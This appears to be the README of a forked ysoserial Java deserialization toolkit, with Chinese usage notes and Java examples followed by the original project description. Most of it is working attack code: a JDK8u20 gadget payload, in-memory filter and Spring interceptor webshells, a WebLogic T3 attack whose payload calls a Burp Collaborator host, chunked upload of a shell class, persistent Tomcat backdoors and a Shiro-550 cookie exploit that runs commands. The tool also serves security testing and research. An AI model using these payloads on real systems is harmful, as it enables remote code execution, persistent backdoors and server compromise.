对增加的一些 features 的用法，做简单的展示

jdk8u20 使用

package top.inhann;

import ysoserial.payloads.Jdk8u20_my;
import ysoserial.payloads.util.HttpRequest;

public class Test {

    public static void main(String[] args) throws Exception{
        String url = "http://127.0.0.1:8080/bitch";
        byte[] ser = new Jdk8u20_my().getPayload("calc.exe");
        byte[] resp = new HttpRequest(url).addPostData(ser).send();
        System.out.println(new String(resp));
    }
}

注入内存马：

支持所有底层用了 TemplatesImpl 的链子

filter 内存马：

package top.inhann;

import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections10;
import ysoserial.payloads.memshell.FilterShell2;
import ysoserial.payloads.util.HttpRequest;

public class Test {

    public static void main(String[] args) throws Exception{
        String url = "http://127.0.0.1:8080/bitch";
        Object o = new FilterShell2().getObject(CommonsCollections10.class);
        byte[] ser = Serializer.serialize(o);
        byte[] resp = new HttpRequest(url).addPostData(ser).send();
        System.out.println(new String(resp));
    }
}

springboot interceptor 内存马：

package top.inhann;

import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections10;
import ysoserial.payloads.memshell.SpringInterceptorShell;
import ysoserial.payloads.util.HttpRequest;

public class Test {

    public static void main(String[] args) throws Exception{
        String url = "http://127.0.0.1:8080/bitch";
        Object o = new SpringInterceptorShell().getObject(CommonsCollections10.class);
        byte[] ser = Serializer.serialize(o);
        byte[] resp = new HttpRequest(url).addPostData(ser).send();
        System.out.println(new String(resp));
    }
}

攻击 T3：

package top.inhann;

import ysoserial.payloads.T3;
import ysoserial.payloads.URLDNS;
import ysoserial.payloads.util.SocketClient;

public class Test {
    public static void main(String[] args) throws Exception{
        SocketClient s = SocketClient.remote("wsl.com",7001);

        Object evil = new URLDNS().getObject("http://6biqhbd2azsc3wq9wv5uqqrep5vwjl.burpcollaborator.net");
        byte[] handshake = new T3().handShake();
        byte[] payload = new T3().getPayload(evil);

        s.send(handshake);
        s.recvline();
        s.send(payload);
        s.close();
    }
}

解决 tomcat 的 header 过大问题

支持所有底层用了 TemplatesImpl 的链子

分离 payload ，body 存储，动态加载：

public class Test {

    public static void main(String[] args) throws Exception{
        String url = "http://127.0.0.1:8081/bitch";

        String java = new String(ReadWrite.readResource(Test.class,"内存马/filter/FilterShell2.java"));
        byte[] b = JavaCompiler.compile("FilterShell2",java);
        String b64 = Encoder.base64_encode(b);

        Object o = new TomcatHeaderTooLarge().loadClassFromBody(CommonsCollections10.class,"FilterShell2");
        byte[] ser = Serializer.serialize(o);
        new HttpRequest(url).addHeader("data", Base64.getEncoder().encodeToString(ser)).addPostData("b64_class_bytes",b64).send();
    }
}

import java.util.Arrays;
import java.util.Base64;

public class Test {

    public static void main(String[] args) throws Exception{
        String url = "http://127.0.0.1:8081/bitch";
        String classPath = "/tmp/1nhann.txt";
        String className = "FilterShell2";

        String java = new String(ReadWrite.readResource(Test.class,"内存马/filter/FilterShell2.java"));
        byte[] b = JavaCompiler.compile("FilterShell2",java);


        System.out.println(b.length);
        int i = 0;
        boolean flag = true;
        int l = 1000;
        while (flag){
            byte[] slice = null;
            if(i+l < b.length){
                slice = Arrays.copyOfRange(b, i, i+l);
                i += l;
            }else {
                slice = Arrays.copyOfRange(b, i, b.length);
                flag = false;
            }
            Object o = new Eval().uploadFile(CommonsCollections10.class,slice,classPath,i > l);
            byte[] ser = Serializer.serialize(o);
            new HttpRequest(url).addHeader("data", Base64.getEncoder().encodeToString(ser)).send();
        }
        Object o = new Eval().loadClass(CommonsCollections10.class,classPath,className);
        byte[] ser = Serializer.serialize(o);
        new HttpRequest(url).addHeader("data", Base64.getEncoder().encodeToString(ser)).send();

        o = new Eval().deleteFile(CommonsCollections10.class,classPath);
        ser = Serializer.serialize(o);
        new HttpRequest(url).addHeader("data", Base64.getEncoder().encodeToString(ser)).send();
    }
}

tomcat 持久化后门：

支持所有底层用了 TemplatesImpl 的链子

package top.inhann;

import ysoserial.Serializer;
import ysoserial.payloads.CommonsCollections10;
import ysoserial.payloads.persist.ApplicationFilterChain_doFilter;
import ysoserial.payloads.util.HttpRequest;

public class Test {

    public static void main(String[] args) throws Exception{
        String url = "http://127.0.0.1:8081/bitch";
        Object o = new ApplicationFilterChain_doFilter().getObject(CommonsCollections10.class,"/usr/local/tomcat");
        byte[] ser = Serializer.serialize(o);
        new HttpRequest(url).addPostData(ser).send();
    }
}

public class Test {

    public static void main(String[] args) throws Exception{
        String url = "http://wsl.com:8081/bitch";
        Object o = new EvilInitializer().getObject(CommonsCollections10.class,"/usr/local/tomcat/webapps/ROOT");
        byte[] ser = Serializer.serialize(o);
        new HttpRequest(url).addPostData(ser).send();
    }
}

        byte[] resp =  new HttpRequest(url).addPostData(ser).addHeader("cmd","id").send();
        System.out.println(new String(resp));
    }
}

        String url = "http://localhost:8080/shiro550/";
        Object o = new TomcatEcho3().getObject(CommonsBeanutils183.class);
        String cookie = new Shiro_550().getPayload(o);
        byte[] resp = new HttpRequest(url).addHeader("Cookie","rememberMe=" + cookie).addParam("cmd","id").addHeader("cmd","id").send();
        System.out.println(new String(resp));
    }
}

ysoserial

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

Description

Originally released as part of AppSecCali 2015 Talk "Marshalling Pickles: how deserializing objects will ruin your day" with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x). Later updated to include additional gadget chains for JRE <= 1.7u21 and several other libraries.

ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java libraries that can, under the right conditions, exploit Java applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
